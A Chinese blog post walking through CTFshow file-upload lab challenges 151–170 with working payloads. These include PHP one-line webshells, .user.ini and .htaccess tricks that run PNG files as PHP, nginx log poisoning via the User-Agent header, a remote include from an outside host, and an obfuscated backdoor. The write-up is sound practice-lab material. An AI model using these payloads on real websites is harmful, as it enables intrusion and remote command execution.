web安全文件上传漏洞

之前学习web漏洞的时候已经写过相关文章,但是仅学习原理知识远远不够,所以应该结合实践详细学习。跟着迪总把CTFshow的文件上传部分做一遍。

文件上传经常需要抓包,所以本篇文章主要利用的工具:
1.burp suit
2.firefox渗透版

bp和firefox

151:
题目显示是前端验证。用bp抓包,当上传png格式文件的时候抓到包,放行允许上传,但是jpg文件没抓到包,限制上传。这里说明数据没有传到后台验证,即本地验证也就是前端验证。那么对于这种情况可以审查源代码,查看他的判定条件。
这道题F12查看源码的时候,发现限制文件上传只能是png,那么右击上传按钮选择查看元素,修改文件类型为jpg可以实现jpg文件的上传。

这是典型的JS验证,攻击者只需要把后门文件通过这个功能点上传,就能实现目的。然后使用:蚁剑、哥斯拉、冰蝎等连接。
上传一句话后门之后,访问上传路径,然后再post处输入a(a是后门文件里的参数)=system(‘ls’); 来查看文件。

然后使用 a=system(‘ls ../’); 跳转到上一级目录,该操作系统为linux

最后执行a=system(‘tac ../flag.php’); 读取flag文件


152:
按照151的做法来,发现修改前端格式为php之后上传php代码,出现了类型不正确

也就是说事情没有那么简单,本关除了验证后缀名,还会验证MIME类型,如下图,如果是png文件会返回image/png,而我们改成php文件之后,就变成了下图的content-type

这个是后端验证生成的,我们可以修改成image/png,因为png是后端合法的类型,如下图

之后按照151那样操作得到flag

153:按照前两关思路来,没有作用。这题考点是 .user.ini 文件。
首先按照前两步骤的方式上传.uer.ini文件,内容是.user.ini:auto_prepend_file=test.png//绿色是要包含的文件。
然后再上传test.png,内容是后门代码:<?php eval($_POST[x]);?>
两个文件都上传成功之后,按照之前的方法找flag。
本质上这是通过文件包含间接执行文件。在本关中访问/upload的时候其实默认访问了index.php,不是访问.user.ini也不是访问test.png来触发的后门代码。index.php能让user.ini生效。具体可以查看如何使ini生效的配置,使得png文件里面的代码能够被解析执行。

154:
按照前三步做法,最后失败,回显状态码,提示后门文件上传失败

当修改内容发现又可以成功,如下图

所以这关对文件的内容进行了验证,代码中应该使用了正则表达式过滤掉<?php 这个语句。思路是使用短标签,下面四种方法执行php,但是需要配置,根据实际情况使用,推荐3、4。

1、<? echo ‘123’;?> //前提是开启配置参数short_open_tags=on

2、<?=(表达式)?> //不需要开启参数设置

3、<% echo ‘123’;%> //前提是开启配置参数asp_tags=on

4、<script language=”php”>echo ‘1’; </script> //不需要修改参数开关

.user.ini:auto_prepend_file=test.png

test.png:<?=eval($_POST[x]);?>

之后按照前面步骤,向upload发送post包:x=system(‘tac ../flag.php’);

155:跟154一样

156:有时候遇到类似过滤,一个个删除看看过滤了哪些字符,然后找到替代的方法。再156中,过滤了POST[x]中的[x],此时只需要换成 {x} 即可

157:除了过滤{}、php、“;”可能还用正则过滤了别的字符。这个时候我们可以直接
<?=system(‘tac ../fl*’)?> //直接运行命令,并且使用通配符*可以表达出php
之后访问upload即可,不用再post参数因为我们没写后门代码。

158:这次连()也被过滤了,怎么办呢?由于php的特性,` `里面的内容会被当成命令执行,可以从这入手。

JS验证+user.ini+短标签+过滤

使用反引号运算符的效果与函数 shell_exec()相同

.user.ini:auto_prepend_file=test.png

test.png:<?=system(‘tac ../fl*’)?>

test.png:<? echo `tac /var/www/html/f*`?>

160:连` `都不能用了!咋整?这个靶场中间件用的是nginx,他有一个日志文件会记录传输得数据,因此我们可以尝试使用文件包含的思路,去包含日志文件的后门代码。

包含默认日志,日志记录UA头,UA头写后门代码

.user.ini:auto_prepend_file=test.png

test.png:<?=include”/var/lo”.”g/nginx/access.lo”.”g”?> //经过了拆分,数据里的符号会被过滤掉,之后还能拼接回来。

按道理说,上传了png和ini直接/upload/打开会出现日志文件,然后再抓包,修改user-agent:<?php eval($_POST[x]);?> 同时在第一行 GET后面修改地址为一个不一样的记得住的地址,发包,再次访问upload查看记录。
最后按照之前的步骤发post包读取flag

这是由于php路径被限制了

161:这关检测文件头,文件头有关的数据我在其他文章写有过。
比如GIF的文件头:GIF89A
本题过滤空格,所以要换行。

文件头部检测是否为图片格式文件

.user.ini:
GIF89A
auto_prepend_file=test.png

test.png:
GIF89A
<?=include”/var/lo”.”g/nginx/access.lo”.”g”?>

一样的,再改user-agent:后门代码//会被记录下来.

162:限制继续增加,现在连“.”也不允许,这说明后缀名就不能使用了。此时我们依然可以使用文件包含的思想,可以把后门代码写在某个网页,再发包申请包含这个网页上的后门文件。关键点在于UPL是有“.”的,不过我们可以在线转换ip为数字,就能实现。

163 突破上传删除

过滤 . () {} ;等 同时文件被删除

直接利用.user.ini包含远程

auto_prepend_file=http://794750069/

auto_prepend_file=http://794750069/

164 png二次渲染

二次渲染,其实是说中大型的网站,为了美观往往会修改图片的格式,可能会增删一些图片里面的数据。如果用010editor查看原图和上传之后的图,经过二次渲染后上传的图会有一部分与原图长生差异。此时我们要写入后门代码,就应该写在有与原图一致的地方。
然而,手工加入是很难实现的,看运气。所以大部分都是用工具生成图片码。
本关url地址上传文件之后,图片的地址不是写死的png(这样子是不能解析php的,要用ini),而是有“?=XXX.png”这样的url才有可能。
判断有没有二次渲染的方法:
1.判断文件上传前后的大小和内容
2.判断上传后文件返回数据包内容

如果不能上传php类型的文件,把后门代码写到了png中,要想png能被解析成php,就要使用一些方法:
1.包含漏洞
2.解析漏洞
3. .user.ini & .htaccess

https://blog.csdn.net/qq_40800734/article/details/105920149

get 0=system

post 1=tac flag.php

165 jpg二次渲染

1、先上传jpg正常,返回包发现渲染

2、上传jpg渲染后保存,生成带代码图片

调用执行:php jpg.php 1.jpg

166 zip调用包含

直接上传zip后修改代码

<?=eval($_POST[x]);?>

167 .htaccess妙用:
.htaccess是apache内置的“分布式配置文件”

.htaccess默认不支持nginx,设置后支持

.htaccess可以通过设置实现文件解析配置

可以将.png后缀的文件解析成php

AddType application/x-httpd-php .png

也可以将.png后缀的文件解析成php

168 免杀后门

<?php $a=’syste’;$b=’m’;$c=$a.$b;$c(‘tac ../flagaa.php’);?>

169 170日志包含

构造.user.ini利用条件:上传index.php 内容随意。因为.user.ini文件必须有index .php才能执行。如果目标目录没有index.php文件,我们应该上传一个。

上传.user.ini包含日志:auto_prepend_file=/var/log/nginx/access.log

访问地址带后门UA头写入日志:<?=eval($_POST[x]);?>

这20关的上传让我明白了一些绕过规则上传文件的思路,显然,当前后端都进行验证,过滤,修改路径,或者不让别人访问目录等,都可以很大程度上防止文件上传漏洞的发生。
注意到比如.user.ini的利用,很多文件上传漏洞必须配合其他漏洞来执行,换句话说我们也可以通过消除这些前置问题,文件上传也很难利用。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注